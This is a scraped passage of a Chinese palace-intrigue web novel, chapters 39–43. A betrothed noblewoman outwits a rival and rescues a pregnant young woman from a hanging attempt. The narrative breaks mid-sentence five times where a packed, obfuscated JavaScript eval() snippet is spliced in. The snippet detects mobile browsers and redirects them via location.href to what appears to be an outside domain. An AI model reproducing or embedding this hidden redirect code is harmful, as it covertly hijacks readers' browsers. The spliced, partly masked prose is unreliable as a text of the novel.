“起来吧,也是喜事。”靖安帝起身扶着司徒珩站起来,拍了拍他的肩膀:“多为天家开枝散叶。” 司徒珩脸都红了。 从御书房出来,司徒珩去了太后宫里。 闵太后笑眯眯的看着司徒珩:“可得偿所愿了?” “母后,儿臣能得如此良缘,是您的疼惜。”司徒珩跪下磕头。 闵太后伸出手拉着他起身:“既是心之所向,就好好待承阿灼,夫妻之道唯敬重方能长久。” “是。”司徒珩素来最听闵太后的话,从小就长在闵太后身边,在心里一直都把闵太后当母亲,只是天家规矩大,这样的话不能宣之于口。 闵太后叫来了掌事嬷嬷打开库房,除了聘礼外,安王府那边也需要装点一番,这些都闵太后的私库搬过去。 “沈太傅会舍不得阿灼这么早就嫁人。”闵太后走在私库里,有看中的就取出来送到安王府去,司徒珩在旁边坐陪。 司徒珩搀扶着闵太后:“是舍不得,钦天监查了日子后,沈太傅把我叫去了书房,让我回来跟您说一声。” “跟我说也改不了的,早点儿完婚,谁都心里踏实。”闵太后指了指架子上的箱笼:“那是一顶凤冠,送过去给阿灼大婚戴。” 掌事嬷嬷赶紧取过来,放在添妆的箱笼里。 翌日。 赐婚圣旨到了沈府,沈太傅率领一家人接旨,果不其然婚期定在了九月二十这一日。 消息瞬间大街小巷都传遍了。 霍府。 霍静纭正在下棋,鸿雁从外面回来小声说:“小姐,那沈家四小姐到底被皇上赐婚了。” “赐给谁了?”霍静纭问。 鸿雁抿了抿嘴角:“安王。” “沈清欢和安王?”霍静纭偏头看鸿雁。 鸿雁点头:“婚期都定了,就今年的九月二十。” “好,好!”霍静纭放下手里的棋子,说了两个好字,再就没了动静。 鸿雁给斟茶。 霍静纭捧着茶盏小口小口的喝着茶: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555257|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “沈家有能人,沈家宫里的贵人也是够份量。” 这样的话,鸿雁接不住,但小姐入宫是在下个月初六,满打满算还有一个月,府里操持的厉害,可小姐似乎一点儿也不着急,每日除了下棋就是看书,这可真是有福之人不用忙。 “鸿雁,替我送帖子到沈府。”霍静纭亲自写了拜帖,递给鸿雁:“可见可不见。” 鸿雁接过来拜帖:“是。” 沈府。 沈清欢倒没什么好忙的,若说忙,也是忙着为钟灵准备礼物,这礼物可不是随随便便送的,她是能准备的都准备了,若非沈夫人拦着,沈清欢都要越过母亲和祖母,亲自为三叔操持婚事了。 “小姐,霍小姐送来了拜帖,说看您心意,可见可不见。”疏影捧着拜帖过来了。 沈清欢接过来看了眼,她熟悉霍静纭左手字迹,相比之下竟相差还挺悬殊的,霍静纭的字颇有些刚劲有力的风骨:“告诉来人,明日我在府门口迎接。” 疏影领命出去了。 正在忙着给女儿准备嫁衣的沈夫人抬头看过来:“这个时候,霍静纭要见,未必就一定要见。” “母亲,她和我都要嫁到天家去,都是天家妇,她是皇妃,我是王妃,倒也不至于不敢见她。”沈清欢说。 沈夫人叹了口气:“一个两个都心仪安王,如今阿灼和安王的婚事定下来了,明里暗里不知道多少人巴巴的盯着呢。” “好像什么香饽饽似的。”沈清欢嘀咕了一句。 沈夫人没法劝,若说安王哪里不好,沈夫人到没看出来,除了是天家子外。 但,女儿不喜。 任凭谁说也像入不了心似的,虽舍不得逼自己的女儿,可眼下的形势,这婚事是顶顶好的啊。 沈清欢不在乎见霍静纭。 或者说不在乎见任何人,婚事就这样了,自己也不可能再挣扎,那就必定要兵来将挡,水来土掩,一个霍静纭算得了什么?还有林舒清呢,母亲说的没错,背地里不知道多少双眼睛在盯着,且行且看,再说了,这婚事,任凭谁都只能看着,还能怎么着? 第39章 为何要让沈清欢给你筏子呢 霍静纭落座,抬眸笑吟吟的打量着沈清欢。 “怪不得长兄如此不顾祖宗礼法,君臣之义,也要迎娶之人,确实值得。”霍静纭笑着说。 沈清欢微微勾起唇角:“霍小姐此话,权当是夸赞了,不过听说霍小姐要入宫为妃,倒是有良言一句。” “说来听听。”霍静纭眉目始终有笑意。 沈清欢淡淡的说:“这世上,最不值得一提的便是儿女情长,若都如**那般只顾着这些,只怕难得善终。” 霍静纭的表情微微的僵了一瞬,赞同的点头:“看来,以后在京城有玩伴儿了,你我前后嫁进天家,是妯娌呢。” “倒也是妯娌,不过我在宫外,日子过的可随性点儿。”沈清欢端起茶盏抿了一口,放下的时候抬眸看霍静纭:“听说,霍小姐此番归京,确实是为了意中人而来,但不是入宫,对吗?” 霍静纭微微偏头打量着沈清欢:“过去不提,我今日登门是想要和沈小姐见一面,以后可以互相走动,至于为何入京,不过是坊间传言,能入宫伴驾,实在是天大的福分。” “确实,如此想就好。”沈清欢迎着霍静纭的目光:“倒是我多心了,如临大敌一般。” 霍静纭摇头:“大可不必,我听**姐说,沈小姐十分喜欢梅香丸。” “谈不上十分喜欢。”沈清欢随手打开旁边匣子:“府上确实有调香的人,梅香丸比较稀少,长姐在的时候又十分喜欢,为了不多人所爱,我更喜欢兰香丸。” 匣子里整整齐齐的摆放着十二个瓷瓶,瓷瓶上贴着红纸标签,分别写着四时当季的花名:“刚巧,这是刚刚取过来的,赠给霍小姐做见面礼。” “你愿意送人香丸?”霍静纭笑着问。 沈清欢撩起眼皮儿,面色不悦:“那也要看什么人,这送礼也要送到当处,送少了显得抠抠搜搜,送多了未必每一种都喜欢,再者还有不爱香的人呢。” 霍静纭知道再盘问下去,沈清欢会翻脸,话锋一转:“我之前倒是不太喜欢这些,但听说京中的夫人和小姐都爱熏香,能得沈小姐这份礼,可真真不白来这一遭。” “喜欢就好,就算不喜欢也要习惯,习惯就好了。”沈清欢意有所指的说,想要盘问白向晚那次来到底得到了什么,真真是搞笑,做了就不怕查,查也查不出什么来,这点子底气没有,就不应该有害人之心。 霍静纭问:“听说府里有花房。” 哟,还没完没了。 沈清欢疑惑的看着霍静纭:“难道在雁门关的府邸里没有花房暖室?” “这。”霍静纭刚开口。 沈清欢啧啧两声:“那不怪霍小姐不知,京城啊,从宫里到寻常百姓人家,只要家境殷实都会有暖房,寻常百姓暖房里种一些青叶菜,富贵人家种一些花花草草,虽然京城的冬日比雁门关要短很多,可寒冬时节,屋子里摆放两盆花花草草,十分赏心悦目,也是一大雅趣儿。” 霍静纭被嘲笑没见识,心里终有些沉不住气了。 沈清欢话锋一转:“想要知道白向晚登门那次到底都做了什么,尽可直接说,我虽生在京城,长在京城,可从小跟在祖父身边,学得是光明磊落,不会那些弯弯绕绕。” “沈老大人十分疼爱沈小姐。”霍静纭没想到沈清欢竟直接就来了。 沈清欢点了点头:“确实,不止祖父和祖母疼爱,就是父亲和母亲也从来都不苛责半分,小事如此,婚事更是如此,只不过身为沈家女,自是知道享其荣华,分其忧虑,霍小郎君偏爱来的突兀,别说长辈不接这门亲,就是长辈接了,我都会以死抗婚,霍小姐,我们是一样的人,一辈子唯有婚事不能随心如意,因背后是家族兴衰荣辱。” 霍静纭看着沈清欢。 若非两家之间的关系,她还真挺喜欢沈清欢的性子,这样的人可为挚友,但若是做敌人,十分难缠,没有弯弯绕绕,利害关系都摆在明面上了,自己竟有些接不住。 “难道做安王妃,也不随心如意?”霍静纭问。 沈清欢笑了:“别人的蜜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555258|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖,也许是我的**,当然了,这话在霍小姐看来是得了便宜还卖乖,人和人的境遇不同,所求不同,感触自然不一样,就像**,宁可做妾也要跟霍小郎君在一起,都是一个道理。” “这对我们真不公平。”霍静纭感慨。 沈清欢收了笑意:“霍小姐慎言,这样的话若是传出去,以讹传讹对你不利,而此间只有你我二人,你会怀疑是我说出去的,但古语有云,隔墙有耳。” 霍静纭万万没想到,头一个照面,铩羽而归。 坐在回去的马车里,扫了眼放在桌子上的匣子,匣子里是沈清欢的回礼,十二瓶香丸。 随手拿起来一个,瓶子底部有沈家的徽记。 打开倒出来一粒梅香丸,仔细闻了闻放下,吩咐马车外面跟随的丫环:“鸿雁,让白向晚带着梅香丸过来一趟。” “是。”鸿雁领命离开。 白向晚过来的时候,低着头不敢看霍静纭,打从自己非常手段坏了霍沈两家的赐婚后,她最怕见霍静纭,因霍静纭恰恰为了平息圣怒入宫的,京城里长大的她很清楚,这意味着霍静纭的一辈子都毁了。 “你说,沈清欢赠了梅香丸给你,拿来我看看。”霍静纭没什么客气的,甚至是憎恶,人头猪脑的人见过,可被人头猪脑的人害,还是头一次,可就这一次就把自己余生都毁了。 白向晚取出来瓷瓶递给霍静纭。 霍静纭翻看瓶子,没有沈家徽记,看来沈清欢早就有准备,就算临时起意,既是要害人,哪里会留下这么明显的把柄? 倒出来香丸,香丸倒没什么特别的,取出来自己刚得到的梅香丸,大小颜色也都几乎一样。 两个一样的香炉,分别把两粒梅香丸放进去,闭着眼睛仔细的分辨,片刻睁开眼睛:“白向晚,你竟然还有点子心机。” “静纭,你这话是什么意思?我听不懂。”白向晚坐在椅子上,有些拘谨的看着霍静纭。 霍静纭冷笑:“你为何要让沈清欢给你筏子呢?” 第40章 白向晚有了身孕 白向晚愣愣的看着霍静纭,她早就知道自己得罪了霍家所有人,可霍静纭这般向着外人说话,质疑自己,到底是让人难以接受的。 “我说了,你不信,不信也就罢了,还要怀疑我撒谎,霍静纭,我终会是你嫂嫂的,难道以后不往来了吗?”白向晚脸色铁青:“我何须说假话?事都做了,遮掩隐瞒又有什么用?” 霍静纭冷笑:“你是不是霍家儿媳还真说不准,人品太差,我今日去了沈府,得了沈府的梅香丸,甚至沈府姑娘们用的香丸都有,你自己看。” 白向晚看霍静纭打开了匣子,里面整整齐齐放着装着香丸的瓶子,咬了咬牙,自己当初是猪油蒙了心,才会被沈清欢骗了,若非如此,沈清欢会安把细微的小事都想得如此周到? 但,她不想和霍静纭多费口舌了。 霍静纭又打开了两个香炉的盖子,里面燃烧完的香丸,一个香灰洁白,依旧是香丸形状,另外一个不单发黑,还散开了。 “这?”白向晚心里狂跳,霍静纭想要坏自己的婚事吗?不然为何费尽心思去查? 霍静纭淡淡的说:“沈府里,沈清瑶最喜梅香丸,你得到的就是梅香丸,沈清瑶为了得到心上人,不惜下了脏药再送上门,你们所作所为如出一辙,白向晚,你若说是沈清瑶让你这么做的,我都懒得去查,偏偏你说是沈清欢,就那么点儿心思都用在我兄长身上了,不觉得丢人吗?就你这样的心机城府,能作为霍家下一代的掌家媳妇吗?” “你到底是什么意思?”白向晚哪里听不懂霍静纭的话? 情急之下站了起来,白向晚指着霍静纭怒道:“婚事有长辈做主,哪里由你一个未出阁的姑娘说短长的?” 霍静纭噗嗤笑了:“白向晚,若我让姑母给你三尺白绫,姑母都不会犹豫,生出来你这么个不争气的玩意儿,丢人现眼,霍家唯有长兄一子,大妇绝不可能是你,现在我告诉你,是提个醒,别到时候寻死觅活的闹腾,更上的台面,来人,送客!” 不给白向晚说话的机会,霍静纭一声令下,外面两个粗使婆子进来,一左一右架着白向晚往外走,浑然不顾白向晚的身份,或许可以说,白向晚在霍家哪里有什么身份可言? 被丢在门外,白向晚止不住哭出声来,她就算知错了又能如何?她们这是要逼死自己才称心如意吗? 失魂落魄的走出霍府,在门口被丫环扶着。 “阿雪,我突然好嘴馋。”白向晚红着眼眶说。 阿雪赶紧哄着:“成,小姐上次念叨聚贤阁的菜品味道好,咱们去吃一顿。” “嗯。”白向晚坐在马车里,捂着脸泪如泉涌,打从和霍云昭的事发生后,她哪怕在家里都抬不起头,一门心思盼着霍静纭入宫后,她能跟着霍家去雁门关,到时候能开始新的生活,可霍静纭的话,简直如同诅咒一般,她唯一的念想是能远离京城过日子,可霍家的日子不会好过的,她还能去吗?还要去吗? 聚贤阁雅间。 白向晚点了所有自己想要吃的菜品,满满当当摆了一桌子,一壶酒不知不觉就下肚了,整个人都有些恍惚,她抬头看着自己的丫环:“阿雪,我错了吗?当初指腹为婚的时候没问过我,婚约既有,为何不遵守约定?虽说是我用了手段,可若非如此,我如何甘心啊?” 阿雪看着泪流满面的小姐,哽咽的说:“小姐,你没错,是他们太坏了,咱不哭,哭坏了身子只能自己遭罪。” “你不懂。”白向晚端起酒一饮而尽,喃喃自语:“她们都巴巴的等着我**才好,我我**就好了。” 阿雪不知道怎么劝,只能陪着小姐哭,以前夫人多疼小姐啊,现在整日里明里暗里磋磨她,自己一个下人都看不过去了,这个是夫人亲生的女儿啊。 “呕!” 白向晚一张嘴吐了一地,阿雪赶紧过来给小姐端茶漱口,擦嘴。 可白向晚像是止不住似的,呕到最后什么都吐光了,可还是止不住。 阿雪吓坏了,大声喊小二。 小二进门一看,这还了得?去告诉了掌柜,掌柜立刻去对面的保宁堂请来了郎中。 郎中皱着眉进来,阿雪几乎是抱着小姐到旁边小榻上躺下。 “小姐不善饮,就不要逞强才好。”郎中说着,伸出手搭在白向晚的脉上,瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555259|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间看向了白向晚。 旁边掌柜和小二都急得要团团转了,客人在这里吃饭出事,那可太要命了。 郎中叹了口气,回头:“掌柜的,先出去略等片刻,我有几句话要问,不方便。” “好说,好说。”掌柜带着小二退出去。 郎中取出银针,先给白向晚止呕,问:“敢问姑娘可曾婚配?” “我们小姐有婚约,但尚未出阁。”阿雪立刻说。 郎中蹙眉:“那这喜脉可不是喜事,你们家姑娘怀了身孕。” “啊?”阿雪大惊失色:“可不能乱说,我们小姐……” “先生,能给我开一副药吗?”白向晚抬头乞求一般看着郎中。 郎中摇头:“姑娘看着年纪不大,这样的大事不能私下里做主,还是早些回家去和长辈禀明吧,不管怎么说也是一条命。” “先生,求求您救我。”白向晚起身就要跪下。 郎中赶紧扶住她:“不可,非老朽心狠,不帮姑娘,而是这人命关天的大事,姑娘擅作主张是不行的,若家中长辈有了章程,再着手处理也不迟,告辞。” 白向晚结了酒菜钱,阿雪扶着她坐上马车,路边小药童跟在马车后面,一路到了白府,看着马车进去府里,小药童才回来送信儿。 当晚。 沈清欢就接到了消息,白向晚竟怀了身孕? 还不想要? 沈清欢垂眸片刻,猛地抬起头:“疏影!去安王府传话,我要见司徒珩。” “是。”疏影得了吩咐出门。 不到一炷香的工夫,司徒珩就坐在沈清欢的面前了。 “怎么了?”司徒珩知道必定有大事,否则沈清欢哪里会让人去找自己过来? 沈清欢说:“白向晚有了身孕,你手底下可有厉害的人?” “你想要留下这个孩子?”司徒珩问。 沈清欢微微的眯起眼睛,留下孩子是小事,要留下白向晚这条命,霍静纭的态度就是霍家对待白向晚的态度,腹背受敌又怀了身孕,她怕白向晚**。 这个人要留下来,能派上大用场! 第41章 你这次想要怎么害我? 司徒珩离开镇国公府后,安排人盯紧了白向晚,若无生命危险的时候不需出手,他虽然不知道沈清欢要做什么,可既然说人不能死,那就必须活。 白向晚宿醉归家,回到自己的院子里整个人都像被抽走了精气神似的,头晕脑胀却根本睡不着,脑海里是霍静纭的话,反复折磨得她抱着头发疯了一般嚎叫。 丫环吓得哆哆嗦嗦,只能柔声劝慰。 “我累了。”白向晚平静下来,说:“你去禀了母亲,说我要见她。” 丫环赶紧出门去找白夫人。 白夫人冷着一张脸过来,进门发现白向晚屋子里都是酒味儿,皱眉:“越发的不学好了,怎么?如今就要破罐子破摔了?” “我有了身孕。”白向晚平静的看着母亲,打从和霍云昭的事发生后,母亲就再也没对自己露出过笑脸,自己是她亲生的,别说比不起霍云昭,就是在她心里,霍静纭都比自己更重要。 白夫人愣了一下,转而尖利的骂道:“贱蹄子!你得多能糟践人!有身孕?你想要什么?” 白向晚就那么直勾勾的看着母亲,缓缓地吸了口气:“母亲,我是你亲生的吗?” “少和我说这些没用的,我宁可没生过你!”白夫人深吸一口气,极力克制:“这个孩子不能留,必须处理掉,霍家的嫡长孙必须名正言顺,绝不可有任何污点。” 白向晚笑出声来,连连点头:“好,好,好!” 白夫人自觉是自己的话有些过分,深吸一口气说:“这件事不准告诉任何人,你也把这事儿忘了,以后日子还长。” 白向晚在床上跪下,冲着白夫人三叩首:“母亲,别过了。” “你这是什么意思?”白夫人本来压下去的火气又上来了。 白向晚沉声:“送客!” 阿雪都想哭了,一边是自己的小姐,一边是当家主母,她个奴婢怎么办? 白夫人气得拂袖而去,到底是没教养好,她这些日子都抬不起头,偏偏这女儿还越发的不知悔改。 白向晚倒头就睡,阿雪守在床边,半夜时候白向晚醒来,看着趴在床边睡着的阿雪,轻轻地叹了口气,悄悄地下了床,提笔写了绝笔信,取出来自己的全部家当放在包袱里,阿雪的身契摆在最上面。 做好这一切,白向晚取了三尺白绫,离开房间。 夜里的风有些凉,她从小门往后面的花园去,花园假山边上有一棵桃树,她特别喜欢吃这棵树的桃子。 坐在桃树下,静静地听着风声,她觉得今晚的风能把自己吹得透心凉,所有人都盼着自己死,那就**吧。 “你也是个短命鬼,是我对不起你,可是谁有对得起我呢?”白向晚摸了摸自己的小腹,起身把白绫挂在树上,系好了绳结没有任何犹豫,一头钻了进去,脚底下的石头踢开后,静静地闭上眼睛,她不怕死,只想解脱。 突然,一道黑影到了跟前,白向晚感觉到有人靠近,睁开眼睛没看清来人,白绫断掉后,身体被接住的时候,她整个人都是懵懵的。 “得罪了。”男人沉声说。 白向晚抓着男人的衣襟:“带我走。” 明显感觉到男人身体僵了僵:“好。” 越过高墙,白向晚也不知道自己要被带去哪里,但既然有人不想让自己死,自己就去见见。 司徒珩立在窗外:“阿灼。” 本来还睡着的沈清欢一下就醒了,不是眠轻,而是对司徒珩的声音太敏感。 “白向晚出事了?”沈清欢起身,拿过来衣服披在身上,问。 司徒珩轻声:“是,被我的人带出来了,要不要见?” “见。”沈清欢话音落下,郑嬷嬷、疏影和红缨都过来了。 穿戴整齐,沈清欢没让任何人跟着,出门看司徒珩立在窗边,走过去抬眸:“走吧。” 司徒珩清了清嗓子,弯腰把人抱起来的时候,心一顿乱跳,当沈清欢很自然的勾着自己脖子的时候,司徒珩忍不住轻轻地闷哼了一声。 “出息!”沈清欢忍不住吐槽。 司徒珩听清后,忍不住笑出声来,他真太期待两个人生活在一个屋檐下的日子了,至于自己出息不出息不重要,最好她能有出息。 翻墙,落定。 司徒珩低头看怀里的沈清欢,问:“可满意?” “功夫不错。”沈清欢松开手,准备下地。 司徒珩根本没有松开手的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555260|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就这么抱着进了屋。 屋子里,白向晚面色苍白,神情淡然,看到司徒珩抱着沈清欢进来,忍不住笑了:“果然是你。” 沈清欢勾起唇角笑了笑:“你是个聪明人。” “聪明吗?”白向晚根本就不奇怪,甚至司徒珩坐下来,直接让沈清欢坐在他腿上,这种在外人看来极不和规矩,甚至有失德行的行为,都觉得是寻常事,毕竟沈清欢害人都像是在帮人似的,这种人私下里做什么都挺正常的。 沈清欢心里是不愿意的,但司徒珩非要这么给自己撑腰,她也就不挣扎了,当着白向晚的面,丢不起这个人。 “当然聪明,只不过**太把霍云昭当回事了,以为这天底下除了霍云昭就没男人了似的,受制于人就低人一等,这道理我不说,**也懂。”沈清欢说。 白向晚有那么一瞬间,竟觉得释然了。 司徒珩认为,沈清欢说得对,自己就觉得天底下只有沈清欢!受制于她就低她一等,又心甘情愿,这么想还有点儿委屈,大手扶着她的腰,用了点儿力气捏了捏她腰上的软肉。 偏头看沈清欢耳朵红了,心里这才舒服了点儿。 白向晚问:“你害我,又不让我死,到底要做什么?” “凭什么死的是你?白向晚,你爱慕霍云昭有错吗?霍云昭背弃婚约没错吗?他习武之人,定力不好还是顺水推舟,别人不知道你还不知道吗?”沈清欢提到霍云昭的时候,颇有些轻蔑之色:“那种男人,一抓一大把,你大可选个更好的。” 白向晚觉得沈清欢太不寻常了,听她这么说,自己竟更委屈了,对啊,自己哪里错了?霍云昭顺水推舟不说,索求无度的折腾自己后,又都把错推给自己,再也不曾露面,这种男人还真让人瞧不起,自己之前是被猪油蒙了心。 抬头看沈清欢:“你这次想要怎么害我?” 沈清欢眨了眨眼睛,噗嗤笑了,自己这回啊,还真不是有害人之心,而是知道上一世白向晚**,她觉得既是重活一次,白向晚又给自己解了燃眉之急,救她是道义。 “要怎么害你啊,这我可要好好想一想了。”沈清欢拍开司徒珩的手,刚要下地,被捉了回去,轻轻地叹了口气。 第42章 你现在还敢娶我吗? 这一幕落在白向晚的眼里,嫉妒有,羡慕有,也有恨。 看得出来安王十分护着沈清欢,如今两个人名正言顺,就算有些过格的举动,无伤大雅,毕竟这是安王,沈清欢是未来的安王妃,哪怕有闲话,谁敢说? 可她就没这么幸运,哪怕霍云昭有一丝一毫的怜爱之心,都不会在事发后不肯承担一点点儿责任,甚至到现在都不肯露面,任凭所有人都指责自己,恨不得逼死自己,可他却不知道,她腹中已经有了霍家的血脉。 “我的话,不适合你听。”沈清欢对司徒珩说。 司徒珩微微挑眉:“就当我不在。” 这么一个大活人摆在这里,自己怎么能当不在? 不过,沈清欢只是礼貌的打个招呼,至于司徒珩的感受跟自己有什么关系? “白向晚,你**就是**而已,一个处心积虑败坏了霍、白两家名声的人**,别说下葬,就是收尸都只能是下人,你信不信?”沈清欢说。 白向晚抬眸:“如你所说,**就**,谁还管身后事?没见**能管这些的。” “可是你来人世间走一遭,就这么**不可惜吗?”沈清欢摇头,十分不赞同的说:“男人可以三妻四妾,女人就要三从四德?男人可以寻花问柳,女人就不能为了心中所爱放手一搏?男人随心所欲后,女人要甘心情愿孕育后代,十月怀胎,三年怀抱小娃,这苦楚就算没经历过,也应该看过吧?” 司徒珩偏头看了看沈清欢,嗯,确实她很照顾自己的情绪,这些话当着任何男人的面前说是,都会让听到的人心里头不痛快。 白向晚愕然的看着沈清欢。 “我看你是被教傻了,这世上任何人的性命,哪里有自己的命贵重?如果有?那也一定是视你如命的人,你身边有视你如命的人吗?”沈清欢看着白向晚,不给她回答的机会:“没有,包括生你养你的母亲,包括你心心念念不顾一切也要嫁的男人,可是你就因为这个**,你和你的母亲、霍云昭之流有什么区别?” “我?”白向晚努力消化沈清欢的话。 沈清欢点头:“是啊,你也要那么自私?因为自己的不痛快,就伤害自己的孩子吗?你腹中的孩儿什么都没做,就算是来这人世间也不是自己做主的,不是你和霍云昭带他来的吗?怎么?只想着一晌贪欢,却要把他抹杀在腹中吗?” 这骂的毫不留情,白向晚泪如泉涌,低下头:“我有什么办法?我都没活路了啊,再者,这个孩子就算生下来,也会被人指指点点一辈子,名声一点儿也无,那该是多苦啊。” “还不是因为你立不起来?”沈清欢冷哼:“为母则刚都做不到,白向晚,你脑子里难道只有霍云昭那么一个混账东西吗?男人若是值得你托付一切,我也不说什么了,霍云昭哪里值得?你还当宝呢,要我是你,绝对有一百种法子,活得更自在。” 白向晚都蒙了,脑子里一片空白,别说一百种法子活得自在了,她现在连活路都没有了啊。 旁边,司徒珩暗暗发誓自己一定要好好的对待阿灼,一定要始终如一,也一定不能拈花惹草,阿灼身上的戾气太重,真要是一个不自在,那她不会自伤,余下都的是重伤。 虽然有些厉害,可自己并不反感,甚至还有那么一点点儿得意,阿灼若不在意的人,她都不会多看一眼,更不用说管了,自己能得到阿灼,很知足了。 “你还敢相信我吗?”沈清欢问白向晚。 白向晚苦笑着摇头:“沈清欢,我不知道,你到底要干什么呢?害了我又不让我死,如今试图骂醒我,可我就算不死,还能怎么活?” 沈清欢点头:“你还有救,那你听我的,回去先跟霍家划清界限,然后自请除族,单立女户。” “啊?”白向晚惊得站了起来,跟霍家划清界限,她可以,自请除族,京城世家大族最多,从来就没有一个女子敢这么做,更不用说立女户了。” 沈清欢清了清嗓子:“立女户,好像不太合适,那就这样,我安排个人娶你,娶你是假,给你个身份是真,你既能生下孩子,又不用被霍家和白家约束,怎么样?” “沈清欢,还是让我**吧。”白向晚不敢想那样的日子。 沈清欢一拍桌子:“死什么死?你就为了男人活着吗?让你离开那些人,好好经营手里的买卖,我们可以合作,你赚到了银子,学一学男人们三妻四妾,还一棵树上吊**?” 司徒珩赶紧伸出手捂住了沈清欢的嘴,低声:“可不准你这么想,我是个好的。” 白向晚想要自戳双目,这场景是自己能看的吗?多扎心啊? 沈清欢挪开司徒珩的手:“白向晚,我不想你死掉,我想让你活得好一些,你只要愿意,我和安王能帮你。” “为何帮我?”白向晚确定沈清欢这次是真想要帮自己,而不是想要害死自己。 沈清欢轻轻地叹了口气:“你现在还不需要知道,但你相信我是真心实意帮你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555261|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行,若京城不愿意待,择一个想去的地方,安王会安排好一切,送你离京。” 白向晚沉默了。 死,需要勇气,那一瞬间的头脑发热,死也就**,可琢磨着死还是不死的时候,那种惧怕死亡的感觉太强烈了。 “我离开京城。”白向晚说。 沈清欢高兴的从司徒珩的腿上跳下来,走到白向晚跟前:“好!这才是聪明人,你需要什么尽管说。” “把我的丫环带出来,她是唯一对我好的人。”白向晚眼神里都是恳求。 沈清欢点头:“没问题,你写断绝书,跟白家和霍家都断了关系,我赠你千金,天宽地阔随你去择一良地生活,不用怕,安王的人会护你三年,等你绝对安全后,再撤走,安全无忧。” “你真是个让我看不透的人。”白向晚说。 沈清欢露出轻松的笑意:“那就看咱们的缘分,若是有缘再次相见,我会让你知道我所做这一切,都是为了什么的,你答应我无论何时好好活着,那我们就一定还有相见的缘分。” 白向晚点了点头:“我不恨你,因为就算你不让我那么做,我也绝对放不下霍云昭,他就像是**,我不亲自吃到嘴里,不死一回,我以为是糖。” 沈清欢愣住了,抿了抿唇角:“你是个好姑娘,真的,所以如果你**,我会无法原谅我自己的,白向晚,再相见的时候我们就义结金兰。” “好。”白向晚点头。 沈清欢平复心情,回头看司徒珩。 司徒珩立刻心领神会:“你们稍等片刻,我安排下面的事情,断绝书要现在写吗?” “嗯。有劳安王了。”白向晚说。 司徒珩出去安排,屋子里只剩下白向晚和沈清欢。 白向晚问:“沈清欢,这是你想要的吗?” “谁?”沈清欢勾起唇角:“司徒珩啊?” 白向晚点头。 沈清欢想了想:“不是,但他想要啊,我觉得你若是以后找夫君,那就找个满心满眼都是你的,而不是你甘愿拼上一切去喜欢的人,后者伤害你,都觉得理所应当。” “我记住了,沈清欢,我们一定会再相见的。”白向晚握了握沈清欢的手,郑重其事的说。 当晚,沈清欢和司徒珩送走了白向晚主仆二人。 回来的马车里,司徒珩几次打量沈清欢。 “司徒珩,你现在还敢娶我吗?”沈清欢迎着司徒珩的目光,问。 第43章 永安侯府发丧,霍静纭入宫 “无惧。”司徒珩回答的斩钉截铁,惹得沈清欢笑出声来。 回到听风苑的时候,天色微明。 沈清欢觉得有些累了,如释重负。 虽然可以不用救白向晚,可心里会始终记着她,有恩,不管是因为什么原因,白向晚的作用是绝不可忽视的。 京城里,看似繁荣,实则永远暗潮汹涌,沈清欢和安王被赐婚的消息让许多人夜不能寐,而更让京城人震惊的是白家挂起了白绫黑纱。 “小姐,永安侯府的小姐昨晚暴毙了。”疏影回来的时候,小声说。 沈清欢头都没抬,轻轻地嗯了一声。 